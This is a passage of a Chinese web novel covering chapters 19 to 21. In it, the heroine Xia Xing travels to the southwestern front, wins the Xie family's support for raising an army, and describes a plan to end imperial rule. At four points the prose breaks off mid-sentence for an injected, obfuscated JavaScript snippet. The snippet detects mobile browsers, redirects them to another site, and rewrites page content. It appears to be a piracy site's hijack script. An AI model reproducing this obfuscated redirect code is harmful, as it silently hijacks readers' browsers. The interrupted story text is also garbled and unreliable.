夏荇原貌风格与萧舟雪那骄阳耀雪可以说天差地别，柔和的线条勾勒轮廓，宛如丹青画中的雨打绿梅。 此刻难得毫不顾忌形象，扒起饭来都有种久违的痛快。 毕竟处心积虑步步为营太久了。 ……（不要看盗版哦(,,??ω?)） “好算盘，当真是好算盘！” 刚从外堂回来的杜雁秋“砰——”地摔下手中的明黄圣旨。 “体恤谢家守关不易，就发个公正廉洁牌匾，连半斤稻谷都不愿意给……” 苦苦支撑就盼着上头多少发点东西的谢夫人实在忍不住，仗着被旁人听去了也天高皇帝远，骂道：“当我边关几万将士都是喝西北风的吗！” 打仗打仗，要拖长线打的就是后方补给。 南安烧杀抢掠捞完就跑，靠吃了西南百姓的稻谷鱼油养起军队，谢家却下不去手。 夏荇放下谢二给她倒好的茶，听着谢夫人逐渐从皇帝无为，讥讽到太监公公狗仗人势。 谢二苍白着脸，尴尬地冲她笑笑。 “理事见谅。” 说玩，吐半口的血。 “无妨，”夏荇递给他方干净素帕，关切道，“谢公子不如还是回房歇着，留个人在这里帮民女引荐便可。” 许竹影好不容易给他治醒，到她手里转一圈又晕过去，也太不把某个门客的命当命了。 谢二擦干净淤血，气若游丝地犟：“理事对谢某还有救命之恩……咳咳咳……就别妄自菲薄……咳咳咳。” 军情图在手，南安踩住时机出其不意，三千人部队浴血厮杀，才换来他逃出生路。 范元安疑心重，派出手下地毯式搜寻他的下落，放言生要见人死要见尸。 一个小兔崽子还能突然长翅膀飞走不成。 谢二胸腔中箭，体温在毒素加持下快速失衡，眼前跟磕了大几盘菌子似得冒幻影。 剩下个念头，苦苦支持他跑过山路：至少要替兄弟们报了仇再死。 没等他创造奇迹，跑出范元安的搜罗网，先撞上了群春风会的上山采药的药师。 几人见他浑身是血，上好的野生羊肚菌说丢就丢，先带着谢二边跑边藏，绕了大半个玉湖。 口中叽叽歪歪什么“理事教过不是南安就得救”的话。 这才有了后面谢初时能隔日就寻着谢二的故事。 谢二至今忘不了万念俱灰间，被陌生人救起的感觉，感叹道：“春风春风，据说是伙三教九流之辈聚在一块搭伙，反倒是比学子同窗……咳咳咳。” 就是如果不是把他抬着跑得就更好了。 夏荇实在是怕他再出什么状况，招手叫侍女取来纸笔：“谢公子不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407024|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如写下来。” “不用，”谢二拍开要递到他手中的笔，站起身冲迈入屋内的杜雁秋道，“娘，这位就是春风会的夏理事。” 杜雁秋一顿，以迅雷不及掩耳之势卷好皱皱巴巴的奏折。 “你怎么下床来了，不是叫你好好休息。” 她先给了拎不清的儿子个脑瓜崩，转过身柔和地对着夏荇笑：“早就听说理事招纳百姓广做善事，今日终于得以一见。” 杜雁秋说着说着，又控制不住地想要给她塞点什么：“果真是英雄出少年。” 春风会背靠花氏商会，过往行事圆滑深谋远虑，皆不显山不漏水，理事居然才这么年轻。 夏荇熟练地拦下她的动作：“夫人抬举了。” 再给下去这点压箱底的嫁妆都要砸完了！ 余光里，谢二抗议无效，被谢夫人的侍女强硬地带回卧房。 “民女是来和夫人谈合作的，”她淡淡地笑，超出谢夫人预料地反客为主，“方才听夫人的话，想必是接到曹公公的所带的回信了。” 通体打造的玉簪简单地束起夏荇的长发，莲花下垂着的六小枚玉水滴互相碰撞，细微地响。 远道而来的理事似乎并没有赶路遗留的风尘仆仆，举手抬足间都透出股杜雁秋很熟悉的暗香。 隐隐约约好闻地紧，就是不知道一时想不起来到底是谁留给她的印象。 杜雁秋索性抛之脑后，迟疑道：“是接到了。” 早听说殿下昏庸，但传言叫大家闲嘴百遍，也盖不住亲眼目睹的震撼。 既然早早叫了大恒使者入京谈和，怎么可能拨下来开战的银两粮草。 说不定谢家千方百计好不容易送出的信件，还没经过皇帝的御案，就先被有心之人美化修改。 早早算好一切的夏荇在心底叹口气。 无论什么朝代，最苦的都是底下埋头干活的老百姓。 “那民女便长话短说，”夏荇微微侧过头，“在下有意和夫人合作，扩招打造一只西南地方的军队，不知夫人意下如何？” 目前的中央兵符虽十几年未出过京城，名义上还拥有调用谢家私军的权力。 如果想在保住商会越来越多的财产，甚至在接下来的灭国乱世里站住脚，就必须想办法搞到兵权。 而眼下危机四伏，更是个难得的机遇。 杜雁秋眯起眼：“理事是在邀请谢家造反吗？” “夫人这就言重了。” 夏荇摆出所准备的清单，递给杜雁秋：“如果现下劫遭过不了，不要说谢家，大恒都要完蛋。” 展开，簪花的小楷详细罗列数目几何，件件都是谢家急需的物件。 那些眼睛长顶上的贪官奸吏真当周围虎视眈眈的国家是吃素的呢。 “这……” 谢夫人越看越惊。 “而且，谢家也想保住西南不是吗？” 夏荇轻飘飘地压上最后一根稻草。 什么皇权什么主子，到最后，其实都没有大家手里踏踏实实的地重要。 “你我合作，西南就能活，”年轻的理事给与相当狂妄的保障，“不知夫人意下如何？” 偏偏听起来还颇有可信度。 19. 上路 天井里漏出的晚霞里掺了几道飞鸟的影。 高山老树上采的五年普洱泡到第七回，原先黑到看不见茶杯底的颜色化为清澈的红。 圆形小桌上刚刚拟好的信笺墨色未干。 杜雁秋说得口干舌燥，摁下朱砂印的时候手歪了下， 谢字周边的雪山太阳颜色浅上不少。 “这样也行，反正这玩意主要也就走个过场，”她看了看收好那一方小印，交代夏荇道，“等理事半月后到了坝山，见着候爷只需说我已经同意便是。” 此事事关重大，她一个人没法直接做决定。 但肯给夏荇这封书信，其实无形中就已经暴露出杜雁秋的态度。 谁都不是傻子，总不可能继续忠心皇帝，而眼睁睁地看着西南被南安割走。 她这头简简单单，只布着必须的笔墨茶盏。 “只要理事所言不假，谢家定鼎力支持。” 竟是还没问过谢边声便给了承诺。 坐在对头的夏理事点点头，谢过侍女大碗端过来的鸡汤菌菇米线。 前俩天方巧刚下过雨，山上新鲜现捡的各种菌子切片围圆，众星拱月地供着中间的干鸡枞。 金色的鸡汤溢过薄切腌牛肉，顶上浅浅一层亮亮的油光。 西南的饭不加辣椒真好吃啊好吃。 夏荇在谢夫人的目光下挑起一筷子米线，又韧又滑的鲜味从喉咙滑落胃里。 她眼睛亮了亮，斯文但迅速地又塞了好大一口。 杜雁秋好笑地给她重新倒满茶水：“理事风尘仆仆赶来，想来路上也没仔细用过膳。” 信封处用特制的胶水封口，交到夏荇手中时透着股柚子的清香。 杜雁秋交待俩句侍女去盯着谢初时别乱跑，转过来来淡淡地笑：“江南与这儿民俗相差甚远，理事吃得惯就好。” “对了。” 夏荇从菌子的美味中回过神，问道：“夫人说要派给民女的帮手，不知是何人？” 西南地况复杂，不沿着谢家秘密开辟的近道走，七扭八拐地翻山走大半天，回头一瞧估计直线也就走了几百米。 若是要寻人带路的话，也许是叫谢初时跟着？ 夏荇边吃边猜，身后的门框上迈进来片藏青色的衣角。 杜雁秋朝来人招手：“这位公子准确来说也不是谢家的人，只是医术实在合适，故我才斗胆去向殿下‘借’了过来。” 殿下真是好说话！说借就借了！ 意识到手下人顶着面皮，在她和谢夫人聊天时都干了什么的夏荇：等，等等。 听这个熟悉的描述，这个人不会…… 许竹影换了长公主府给他的那些锦袍长衫，穿着杜淮安来江口找他时，路上随便买的一套便宜成衣。 虽然素陈，但毕竟那张脸摆在那里，薄肌撑起放宽的布料。 “夏理事，”许竹影随便行了一个礼，起身冲夏荇寒暄道，“好久不见。” 不知道从哪弄来的银饰取代了原本的琉璃耳坠，小竹叶的表面凹凸不平闪闪发亮。 夏荇麻木地咽下米线，回道：“许公子好久不见。” 说来你可能不信，其实几个时辰前刚见过。 甚至晚午饭还是你做的。 “既然认识那就再好不过了。” 谢夫人一拍掌，将两人都拉到面前，叮嘱接下来要注意的事项。 再往上，蹲在屋瓦上的群鸟被捕鸟的动静吓到，集体拍拍翅膀朝谢府外头飞去。 沉默的青山层层叠叠，熔成深红色的落日在湖面画下痕痕道道的金光。 瑰丽夺目的晚霞将湖水都染了色。 …… 湖面荡起涟漪。 装满水的厚陶罐被许竹影往肩头一丢，走过一段路，放上用石子堆起来的小灶台。 带路的侍卫叽里咕噜，他单边耳朵听着，手上又往罐子口盖了片刚折下来的芭蕉叶。 队伍其余人各自分散，三三俩俩占着视野较好的位置，利于时不时望风。 被他们护在里面的夏荇展开毯子，索性守着碗篮和篝火等水。 “等翻过这座山，再走二里路就是坝山了。” 听得懂西南话还知道官话怎么说的许门客给她翻译：“理事明早还能走吗？” “切。” 自告奋勇要来帮忙的春风会重要成员吐出嘴里叼着的草，母鸡护崽般张开手臂。 “都跟长公主了，还往理事面前凑。” 成员的嘴非常刻薄，据说最高战绩是同时骂走三个对小姑娘不怀好意的流浪汉。 她手里翻着要给夏荇最后过一遍目的账本，说话间音咬得极重：“呸，不守男德！下流无耻！” 许竹影向来端得很好的伪装面具稍有碎裂。 而夏荇忙不迭点头，感叹这个古代世界终归还是有明事理的人。 “青萍理事，”许竹影默默道，“不知在下是否之前，不小心得罪过您？” “没有，”青萍理不直气也壮，“本姑娘就是看你不爽。” 而且给理事翻译是她的活！这人一天天的不好好搞药老是晃过来要干嘛！ 试图再和夏荇重新商量刺杀长公主一事的许竹影：“。” 许门客转头去煮开水的背影说不出的幽怨。 夏荇没忍住笑了下。 现下她们停在个人工开凿的山洞里，冰凉见底的溪水缓缓流过，在下方山谷里围成一眼幽蓝的深潭。 潭周边的高山杜鹃恰好到了花期，青萍方才随手折下几朵，洗干净摆在干净的大石头上。 夏荇细细看过账本上一串串的可怕数字，最终计算道：“只怕这些草药只够撑半年，等走完这趟还得辛苦你们出去运。” 剩下的还算够。 战争消耗实在太大，要不是桃姨早做准备囤货充足，现在去收购能被宰到死。 “放心，这条路我们都还在走，下个月三号还有一批大的。” 青萍套好手上刚编的物件，展颜笑道：“理事要不要拿过小铜镜来看看？” 夏荇感觉到头上有什么东西，伸手一探，揪下来片杜鹃花的新鲜的嫩叶。 “哎？”是花环。 本来就典雅出尘的美人抬起脸，白色杜鹃都成了点缀。 温柔眼眸中似有烟雨飘荡，夏荇好笑地看着她，问道：“好看吗？我还没戴过花环。” 说完，从袖中找出块先前捡的好看石头：“谢谢你，我很喜欢。” 夏荇前世没怎么出过远门， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422554|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是家里堂妹旅游完回来，会兴高采烈地和她分享照片。 俩界风景其实亦有不少相似之处，照片中的人小心翼翼地用冰箱留住一个花环好几天，最后实在干不过自然规律，咔咔拍下遗照。 据风俗说：送给她人亲手编制的花环，是西南特有的祝福。 花团锦簇，象征生命多姿多彩，如各色鲜花般热烈长青。 “这个送给你，”掌心中的不规则小石恰好被流水磨出一抹翠绿，“就当是我给你的祝福了。” “喝水。” 水滴在袅袅热气中跳出水面。 许竹影端着俩个竹杯子过来，重重地放下并面带微笑道：“凉了就不好了。” 确实也有点渴的青萍端起杯子：“哦，谢谢许公子，你可以……” 你可以走远一点不打扰我和理事接着聊天了。 许竹影抢先道：“不知许某能否和理事借一步说话。” 说完，后知后觉地补充道：“如果许某打扰了理事，许某等青萍姑娘说完也可以的。” 洞内光线算不上好，篝火明暗跳动，给每个人都涂上厚厚的光影。 许竹影眼尾的淡淡红色融在昏黄的光线里，不细看都没无法发现。 他慢条斯理道：“一切但凭理事决定，许某怎么样都行。” 这个味似乎十分熟悉。 夏荇站起身，将账本重新交回到青萍手中。 这熟悉的头疼味道。 许竹影这张嘴就该缝上。 二人随便朝洞内走，余光还能瞥见洞口熊熊燃烧的火。 夏荇侧过头，脸几乎都要拢入阴影：“不知许公子这次想说些什么？” 只余下颌处一小块干净莹白。 “许某只是这些天有事困扰，想着理事见多识广……” 许竹影垂下眼，认真道：“特来解惑。” “许公子想问什么？” 滴滴答答的水声从岩壁滴下。 四周皆寂静，就会叫人不自觉放轻声音。 “若一个人短时间性情大变，或许可以说在细节处表现的截然相反。” 气音如风过竹林。 “这是为什么？” 许竹影搞不明白。 他想了想，补充道：“许某并不信什么神鬼之说，书生话本里编排的借尸还魂更是子虚乌有。” 还是个无神论的。 夏荇在如何给他委婉解答上卡壳。 总不能说：不好意思因为这就是俩个人，夏家家传一门神奇的面皮之术让我顶替了长公主。 过了好一会儿，她放轻轻笑了笑。 “许公子是想问长公主殿下吗？” 既然没法解答问题，那就把问题抛回去。 “我……” 许竹影还待辩解，先被前方骤然出现的明亮火光晃得睁不开眼。 这里怎么会有火光？ 不是说这个山洞当年压根没挖通，明天还要再翻山吗？ 嘈杂的人声从正前方传来，潮湿的泥土味道瞬间覆盖若有若无的杜鹃香。 夏荇眼疾手快地在黑暗中扣住许竹影的手腕，朝后头一拉。 “跑！” 管它怎么山还能突然出状况呢！ 20. 照面 鹅卵石堆在溪岸，跑起来东凸一块西凹一片。 青萍看着俩人失而复返，警惕地叫周围的侍卫都拿起武器。 她抽出别在腰际的弯刀，问道：“理事？怎么了？” 谢家有意荒废这个隐秘山洞多年，明面上的捷径怎么都拐不到这里来。 夏荇喘俩口气，伸手指向洞穴暗处那一越来越大的亮点。 “那里，”她镇定下来，接过侍卫递过来的锋利短刀，“好像有人。” “怎么会……”青萍眯起眼睛，仔细打量那道火光。 按理来说谢夫人独自安排的路线怎么可能出错。 那如果不是敌人的话…… “等等。” 青萍扒开将她和夏荇护得密不透风的众侍卫，踮起脚尖冲前头喊道：“不知足下是否是谢将军派来接应的人？” 火光摇摇晃晃，露出张姑娘清秀的脸。 她领着身后浩浩荡荡的士兵，闻言好笑道：“不是，是你姑奶奶我。” 走得近了，洗到发白的袖口与衣领上，明黄丝线明明白白地绣着小楷的谢字。 “喜画姐姐！” 青萍惊喜完，单手拉着夏荇的衣角，另一只手拍拍自己的胸口，控诉道：“你吓死我了你。” 她还以为谢家内部也出奸细了呢。 “马帮天天走夜路没吓着你，我比那神婆还厉害啊？” 喜画白她一眼，轻声细语地给夏荇解释道：“此洞后头有条天然形成的窄道，通往坝山只用半个时辰功夫，只是当年开凿碎石太多给盖住了。” 她屈下膝盖给夏荇行礼：“听闻理事下令调动大量粮草医药，救西南于水火之间，请受民女一拜。” “别别别，”夏荇慌忙将她扶起，“我也只是个普通人，担不起姑娘如此大礼。” 东西是青萍他们昼夜不分拼命送的，钱是桃姨给的，她在盘棋里撑死就帮忙运动了几下。 况且如果没有谢家协助，春风会能耐再大也无法往西南运这么多物资。 怎么功劳就成她的了。 扶完这个，抬起头更是黑压压跪了一地的士兵。 夏荇：“……” 老天爷，这会折寿的吧。 “都起来都起来。” 做局做套都是个好手的夏理事无助地看向喜画。 对方扭过头，咳嗽几下道：“别跪了，现在外面不安全，我们得赶紧把理事她们带到坝山里面。” 青萍和喜画一左一右，高高兴兴地拉着夏荇走了。 被无情抛在身后的许竹影抱着理事压根没派上用场的匕首，莫名觉得这待遇十分熟悉。 区别就是，长公主殿下旁边还有个小的喜言要上蹿下跳。 …… 坝山建在一处开阔的河谷平地。 西南独特的地貌塑造了层层叠叠的连绵群山，代价就是稀少的耕地与水源。 人们在河谷间安营扎寨，亲切地将这来之不易的耕地称之为“坝子”。 而坝山由三四个巨大的坝子交错组成，易守难攻，是阻止南安大部队进入西南最为重要的屏障。 由积雪所化的溪流被百姓所建造的沟渠藏于地下，静静地沿着出路向东流去。 喜画摸出铁制腰牌，在守门侍卫面前晃了几下：“这群南安的，打了这么多年都知道坝山打不过，个个绕远路摸去玉湖那里。” 某种程度上来说也算惹不起还躲的起。 练武场传来的口号声震天响，夏荇观察过坝内个个穿甲佩剑的血性将士，暗暗放下心。 看来谢夫人的提醒很及时，坝山没有沦陷在瘟疫里。 只要西南的门户不破，剩下的南安人回不去，清理起来就好似如汤沃雪，易如反掌。 “候爷这个时候应该在营帐里看各地军情，”喜画抬头看了眼天色，提起他人递过来的灯，“理事这边走，坝山可容易迷路。” 夏荇抬脚跟上，问道：“我看姑娘口音不像西南人士，怎么留在坝山前线了？” 全面捕鸟过后的树林寂静得可怕，青白石瓦上的粗糙瓦猫张大嘴巴，试图吞下延伸出去的无尽黑暗。 “小女子是从京城来的。” 喜画挨个与路过的将士打招呼，回忆道：“当时家里穷，我与妹妹被分开卖到了不同的地方做活，那天夜里恰好出门替主家做事，也是自己没注意，一不小心遭了劫持晕过去，再醒来就是在去西南的路上了。” 她语气平淡，仇怨与不平柔和地融入徐徐夜风，带着丝难以察觉的无奈。 “我运气好，被谢家发现了那伙拐卖的队伍，逃过被卖到山沟沟里给人家当老婆的命。” 青萍翻遍全身口袋，总算从破洞探下去的衣角摸到俩颗快化了的糖，飞快地塞到喜画手里。 喜画给了她一下，笑道：“就是无处可去，索性留在坝山当个主管，也算以自己的双手报答谢家恩情。” 夏荇玩笑：“我还以为姑娘要说以身相许什么的。” “哪能啊，这些写故事的穷书生编排起来最是可怕，”青萍接话，“我们喜画姐姐又不是见了男人就走不动道，她本身可大了。” 前线原本就没啥女人愿意来，有一个算一个全是喜画哄过来的。 坝山原本这么脏乱的地方，能整洁起来全靠她。 “哎呦喂，姐姐你怎么又打我。” 喜画扶额：“打的就是你。” 一行人在营帐和破烂屋舍里七扭八拐，最终停在个打满补丁的老木房子前。 木房子是个二层小楼，又大又旧，门口屋檐空荡荡的鸟巢下挂满蜘蛛网，要不是正从窗里透出光亮，压根不像是能住人。 喜画顶着周围几人疑惑且震惊的目光，正经道：“这儿就是侯爷的大营了，理事请。” 昔日初来乍到时也被传说中的坝山大营吓到过的主管伸手推门，口中试图给谢将军挽回点形象。 “那个啥，军中军费有限，夫人说了，侯爷有块屋顶盖就差不多了，多出来的钱给将士们吃饭。” 青萍挠挠头，轻声嘀咕道：“原来侯爷也要住狗窝啊……” 进去，直冲鼻尖而来的是武器上的桐油味。 谢边声大马金刀地坐在胡椅上，边仔细地用细绢给砍刀上油，边和儿子商量：“喜画还没回来，是不是路上遇见啥危险了？要不你再带波人出去看看？” 便宜大儿子盘腿坐在地上，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432237|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆得足足半人高的军情，头也不抬地回：“那这活还给你干吗？” “嘿这不是我干累了才把你叫来的，”谢边声放下刀，“要我说，你三年前就该把范元安宰了，跟他们读书人学什么伦理道德……” 喜画默默咳嗽了一声。 谢边声猛地扭过头，声音戛然而止。 木屋子里的蜡烛全点在他儿子那半边，将站在门口的人照得分外清晰。 夏荇确实在世俗所规定的年纪里年轻过了头，杜鹃花环圈住镇定的神情，一双眸子璀璨到不输身后的高原星空。 她取出杜雁秋给的密信，上前道：“民女夏荇，特来……” “哎呦夏理事，可算把您盼来了。” 谢边声一阵兵荒马乱，连平时宝贝的刀都给震到了地上。 他站起身双手接信，却没着急拆开查看。 “其实夫人早早派人和我说了个大概，”谢边声长叹口气，“表达态度前，谢某先给理事讲个故事吧。” 喜画轻手轻脚地从外头搬来把竹椅，放在夏荇身后。 她谢过好意，继续跟谢边声面对面杵着，道：“侯爷请说。” “世人有所不知，先祖当年请命前来守关，并非因为想远离高祖、保全自身。” 相反，谢家人单纯是自愿的。 谢边声面有动容：“先祖籍籍无名之时，曾有一好友，二人结为知己无话不谈，只是乱世来临，这位好友为先祖挡箭致死，仙逝前交代先祖：若能活到战争结束，麻烦将他的尸骨带回西南老家。” 这是大恒史官天花乱坠的猜测之下，都始料未及的谢家过往。 那些人事事件件都要打着忠义名号，又疑神疑鬼拒不相信：世上居然存在有真心。 谢边声说完，抓耳挠腮地想如何表达自己的观点。 便宜儿子从厚厚的军书间抬起头，淡淡地替老子解释：“谢家并不认为皇帝一定要姓萧，只要西南安然无恙、百姓安居乐业、不负先祖当年之恩。” 言下之意，就是只要你能保证好好对西南，我们就合作。 “哎，”谢边声拍掌，猛猛点头道，“就是这个意思。” “我爹小时候顽皮不爱读书，故而没啥文化，理事见谅。” 全家除了娘外唯一一个有点文质气息的人站起身，挤走亲爹的位置。 谢大随手摘下鼻尖上那副西洋眼镜，眼眸因看了长时间军情而微微眯起。 他平静道：“既然要合作，不知理事可否让谢某看看春风会的诚意。” “哎？”青萍抱着怀里账本，着急地就要上前去交给夏荇。 许竹影眼疾手快地拉住她的衣角，轻声道：“别去。” 青萍退回，不解地看他：“啊？” “这人给你们理事下马威呢，”许竹影双手抱胸，懒洋洋地靠着门槛看戏，“你真上去送了，难不成想叫谢家来主导合作啊？” 屋内三人站位不近不远，恰好将夏荇围在中间。 搞军队的碰上做生意的，心脏对心脏。 视线滑过夏理事看起来柔柔弱弱的背影，许竹影回想先前在这女人手里吃过的亏，莫名有股子期待。 你会如何做？ 21. 醉酒 旧木地板发出“吱嘎”的响。 夏荇扫过谢大岿然不变的冰冷神色，对方仪态尊敬弯腰平视，说出来的话倒是没怎么把她放在眼里。 年轻至极的理事冷笑道：“如果谢公子要现在搞士农工商那一套的话，不知要寒了多少西南百姓的心。” 谢大的腰弯得更低了，到了一个几乎可以说是匪夷所思的高度。 “倒是谢某以小人之心度君子之腹了，”他抱拳道，“只是理事既然想上门合作，至少得告诉谢某，等南安人都被赶跑了，西南军多招的这几万需要做些什么？” 总算打开天窗说亮话。 夏荇将他这轱辘话在脑中滚过一圈，猜着： 这是怀疑春风会背后有皇家示意，想参与夺嫡，还是认为她们想揭竿起义呢？ 日暮低垂，分发晚饭的鼓声挨个敲过门口。 许竹影刚看到戏最精彩的地方，就被笑眯眯的谢边声顺手拉出去吃香茅烤鸡。 屋内只剩下那俩个玩心眼子的就够了，闲杂人等坐在对面的竹棚下喝茶，还能透过开到最大的窗户时不时查看屋内情况。 就是什么都听不见而已。 待所有人都出去，精铁甲胄穿戴全身的谢将军在桌前坐下，豪气地在两个大陶碗中倒满酒水。 他分出口碗搁在夏荇手边：“谢某也就是想理事给一枚定心丸。” 切成小块的酸木瓜沉在最底下，酒面倒映出注视者泛起大雾的眼睛。 辛辣浓烈的酒气扑鼻而来，夏荇仰头，率先闷了一大口：“如果是谢将军想的那种设想的话，请恕民女给不了。” 她这具身体属于江南疑案中没逃过的夏家小姐。 小姑娘年纪不大，可似乎死之前就已和桃姨暗中在谋划大事。 这个时代腐朽落后，可同时又有文明的种子生根发芽。 在她来之前，西洋来的蒸汽机已经秘密运到江南，各色翻译过来的科学知识在春风会内部形成过好几股飓风。 初步具有平权意识的女性发出呐喊征求权力，工场制度的雏形轰轰烈烈地在富庶之地开展。 所有变法革新的初步条件都已具备，就差掀翻棋盘的第一场大火。 夏荇接手小姐身体答应要帮她找出凶手报仇，顺带接着干她没干完的活。 无论是归顺桃姨接管春风会、还是营救萧舟雪共谋大局、如今顶替长公主暗中谋划，她们这群人努力的目标都只有一个： 让最高法去取代昏聩无能的皇帝。 换句更书面的说法，就是废帝制、兴法治。 酒液在碗中摇晃，不慎洒出去了几滴。 朝代更替古来已久、祖宗之法皆不可废，哪怕是不慎踏出去了一步，都会被人言撕裂。 似乎历史就是如此轮转。 似乎规律早就被前人所探寻写下。 谢大抬起头，面上神色明暗变化。 他似乎是想起了什么，酒水递到嘴边都洒出去一半：“理事不妨细说。” “举个例子，谢将军觉得，”夏荇慢条斯理地给他假设，“若你是一位千疼万宠长大的小姐，及笄之日快要来临，而你却和未来相公连面都没有见过，小姐会如何做？” 谢大摸着下巴思索片刻，认真回答道：“许是和父母长谈，详细表达并不愿意出嫁。” 夏荇抱着酒碗，轻快地回道：“父母之命媒妁之言，哪里是你说不想嫁就不愿意嫁的？” “那理事说，你会如何反抗？” “我会不反抗。” 谢大吃惊：“不反抗？” “对啊，不反抗，”夏荇又闷了一大口酒，“若这世间都觉得女子出不出嫁、生不生孩子生几个都是她自己的权力与自由，哪里还需要她反抗些什么呢？” 这本来就该是该有她们自己的东西，无法由旁人所决定。 一番话实在是太惊世骇俗，从小到大都在圣贤书象牙塔保护里的谢将军几次张口，最后半个字都没吐出来。 他放在桌上的手紧握成拳，而坐在对面的人也不知是酒劲上来、还是恰好说到了情绪最高点，还在缓缓道：“谢将军也有妹妹，不可能听不懂民女在说些什么……” 从并未佩戴任何饰品的耳垂下去，直到被火光照得雪白的脖颈都透出淡淡的粉色。 “如果世俗规定可以由女子来编写白纸黑字的法律，而不是随随便便谁说了就算的话。” 夏荇懒洋洋地笑：“那应该会比现在要好的多。” 红烛摇晃，过往书生曾无数次在笔墨中给予各种特殊意味的物件流了满盘的蜡，在明亮火光中勾勒出个美好却可笑的憧憬。 谢将军一时被那幻影晃了神，沉声问道：“那为何需要军队？” “民女家乡倒是有句通俗易懂的解释，”夏荇思索片刻，莞尔道，“只有你自己手中有了兵，别人才会听你的话。” 谢大：“这倒是一针见血。” “皇权之下众生蝼蚁，将军自然也知晓它的厉害，朝代更迭来更迭去，无非就是换个主子。” 荇、水草也，坚守本心。 若有一颗草种落于湖面，过不了几年就会开出连片的黄色小花。 牢固交错的根系深深地扎于湖底淤泥，漂浮的圆形小叶随着凌波微微摆动，却不会随意漂流。 或许可以说完美印证了自己姓名的夏理事与对首平视。 “我们想做的，是把那天给捅了、把那皇宫给砸了，叫天下所有人都上去，男人也好女人也罢，从此都能做自己的主子。” 一锤定音。 …… 篝火底下的草木灰里人扒出烤到开裂的大地瓜。 宴席几乎要吃到尾声，芭蕉叶上只剩七零八碎的鸡骨头。 吃俩口就要往屋子里望俩眼的青萍坐在草棚的最外头，见夏荇直起身兴奋地喊道：“哎哎哎，谈完了谈完了。” 方才还可以瞥见一点亮光的天色完全暗了下去，放眼望去，群星跟地上的树啊草啊似地多。 她三俩下咬完手中那块糯米粑粑，抄起竹篮风风火火地去木屋外候着。 夏荇顶着略有昏沉的脑袋踏出门槛，还没撞上屋外呜呜的夜风，身上先被批了件篝火烤暖的外袍。 “理事理事，谈咋样啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444436|167434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 青萍做完好事站定，举起手中的篮子笑嘻嘻地道：“我和许小白脸给你留了份鲜肉小锅米线，还有个大鸡腿！” 功劳被夺俩手空空的许竹影杵在她身后，挑起一边眉毛。 还没等夏荇发话，谢大便先从屋子里钻了出来。 他扫眼正围着夏荇嘀嘀咕咕的青萍，扭头冲谢边声道：“谈妥了，明儿将将士们集结起来，按理事的方案撤退。” 谢边声接过儿子给的一份纸张，边点头边事后诸葛亮：“我就说你娘都认定的人怎么可能有问题，就你小子疑神疑鬼，还说要再试试。” “真不知道娘当年到底是看上你哪儿了。”谢大无语。 父子俩都还有事，与夏荇道句“失陪”，就大步消失在了漆黑夜色里。 “放心，”夏荇拍拍青萍的肩膀，笑道，“我们主导，同盟书都牵字盖章了。” 毕竟谢家都已被逼到绝境，猛然发现反击的好机会怎么可能不想试一试。 青萍欢呼：“理事威武！” “恭喜，”方才凑过来的喜画听见谢大故意扬声的话，双手合起拍了拍，“理事还未用膳，是想去篝火旁再热闹下，还是想喜画领着回房休整？” 西南民俗颇具特色，若是真去了篝火旁，没准被还会她们起哄围圈踏步子。 夏荇累得连个手指都不想动，垂着头道：“回房吧，多谢姑娘。” 喜画失笑：“这有什么好谢的……” 她拨开屋旁茂盛的芭蕉叶，露出条曲曲绕绕的小径。 “理事这边来就是了，安排的住处在坝山中心，还需好一段路走，这里近些。” 坝山建路主打个省钱且高效，夏荇半闭眼睛养神，纯听着牵头人的步子声抬脚。 一个没注意，就踉跄在块突然高出来的青石板上。 “理事！” 青萍伸出手去，想捞。 最坏的结果也就是平地摔，努力挥舞手臂也无法保持平衡的夏荇迟钝地想着。 方才不该喝那么急的，怎么官家小姐的身子喝酒也这么菜。 三、二…… 怎么还不疼？ 痛觉因子突然失灵了？ 夏荇还蒙着，浓郁的竹叶味从身后的虚拢的怀抱里传来。 许竹影眼疾手快地将她重新拉回直线，随即立刻收回搭在夏荇肩膀上的手。 